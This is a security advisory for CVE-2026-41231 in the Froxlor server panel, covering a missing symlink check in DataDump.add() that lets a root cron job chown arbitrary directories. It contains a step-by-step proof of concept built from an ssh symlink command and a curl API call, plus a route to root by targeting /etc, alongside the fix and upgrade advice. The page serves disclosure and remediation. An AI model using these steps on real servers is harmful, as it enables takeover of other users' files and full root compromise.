CVE-2026-41231: Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron

Published Apr 16, 2026
·
Updated

Summary

DataDump.add() constructs the export destination path from user-supplied input without passing the $fixedhomedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.

Details

The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixedhomedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).

Every customer-facing API command that builds a path from user input passes this parameter:

php // DirProtections.php:87 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// DirOptions.php:96 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// Ftps.php:178 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// SubDomains.php:585 return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

But DataDump.add() was missed:

php // DataDump.php:88 — NO $fixedhomedir parameter $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);

The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):

php Cronjob::inserttask(TaskId::CREATECUSTOMERDATADUMP, $taskdata);

When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:

php FileDir::safeexec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));

The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.

The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.

PoC

Prerequisites: - system.exportenabled = 1 (admin setting) - Customer account with API key and FTP/SSH access

bash Step 1: Create a symlink inside the customer's docroot pointing to a victim directory (customer has FTP/SSH access to their own docroot) ssh customer@server 'ln -s /var/customers/webs/victimcustomer /var/customers/webs/attackercustomer/steal'

Step 2: Schedule data export via API with path pointing to the symlink curl -X POST \ -H "Content-Type: application/json" \ -d '{"header":{"apikey":"CUSTOMERAPIKEY","secret":"CUSTOMERAPISECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dumpweb":"1"}}}' \ https://panel.example.com/api.php

Expected response: 200 OK with taskdata including destdir

Step 3: Wait for ExportCron to run (hourly cron as root) The cron executes: mkdir -p '/var/customers/webs/attackercustomer/steal/' (follows symlink, dir exists) tar cfz ... -C /var/customers/webs/attackercustomer/ . (tars attacker's web data) chown -R <attackeruid>:<attackergid> '/var/customers/webs/attackercustomer/steal/.tmp/' mv export.tar.gz '/var/customers/webs/attackercustomer/steal/' chown -R <attackeruid>:<attackergid> '/var/customers/webs/attackercustomer/steal/' The final chown resolves the symlink and recursively chowns /var/customers/webs/victimcustomer/ to the attacker's UID/GID.

Step 4: Attacker now owns all of victim's web files ssh customer@server 'ls -la /var/customers/webs/victimcustomer/' All files now owned by attackercustomer UID

For system-level escalation, the symlink can target /etc: ln -s /etc /var/customers/webs/attackercustomer/steal After cron: attacker owns /etc/passwd, /etc/shadow → root shell

Impact

- Horizontal privilege escalation: A customer can take ownership of any other customer's web files, databases exports, and email data on the same server. - Vertical privilege escalation: By targeting system directories (e.g., /etc), the customer can gain read/write access to /etc/passwd and /etc/shadow, enabling creation of a root account or password modification. - Data breach: Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data. - Service disruption: Changing ownership of system directories can break system services.

The attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.

Recommended Fix

Pass $customer['documentroot'] as the $fixedhomedir parameter in DataDump.add(), consistent with every other API command:

php // lib/Froxlor/Api/Commands/DataDump.php, line 88 // Before (vulnerable): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);

// After (fixed): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

Additionally, the ExportCron should use chown -h (no-dereference) or validate the destination path is not a symlink before executing chown -R:

php // lib/Froxlor/Cron/System/ExportCron.php, line 232 // Add symlink check before chown if (islink(rtrim($data['destdir'], '/'))) { $cronlog->logAction(FroxlorLogger::CRONACTION, LOGERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']); } else { FileDir::safeexec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir'])); }

Other sources

Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron

— Packagist

Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixedhomedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.

— MITRE

Affected Software

4 affected componentsFixes available
Froxlor Froxlor<2.3.6
Froxlor Froxlor<2.3.6
composer/froxlor/froxlor<2.3.6
2.3.6
composer/froxlor/froxlor<2.3.6
2.3.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/froxlor/froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.6
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.3.6

Event History

Apr 16, 2026
Advisory Published
via GitHub·12:47 AM
Data Sourced
via GitHub·12:47 AM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·12:47 AM
DescriptionSeverityAffected Software
Apr 23, 2026
CVE Published
via MITRE·03:52 AM
Data Sourced
via MITRE·03:52 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-41231?

CVE-2026-41231 is considered a critical vulnerability due to its potential for arbitrary directory ownership takeover.

2

How do I fix CVE-2026-41231?

To fix CVE-2026-41231, upgrade to Froxlor version 2.3.6 or later.

3

What software is affected by CVE-2026-41231?

CVE-2026-41231 affects Froxlor versions prior to 2.3.6.

4

What kind of attack vector does CVE-2026-41231 exploit?

CVE-2026-41231 exploits incomplete symlink validation in the DataDump.add() method.

5

Can I find a patch for CVE-2026-41231?

Yes, the patch for CVE-2026-41231 is included in Froxlor version 2.3.6 and later releases.

Contact

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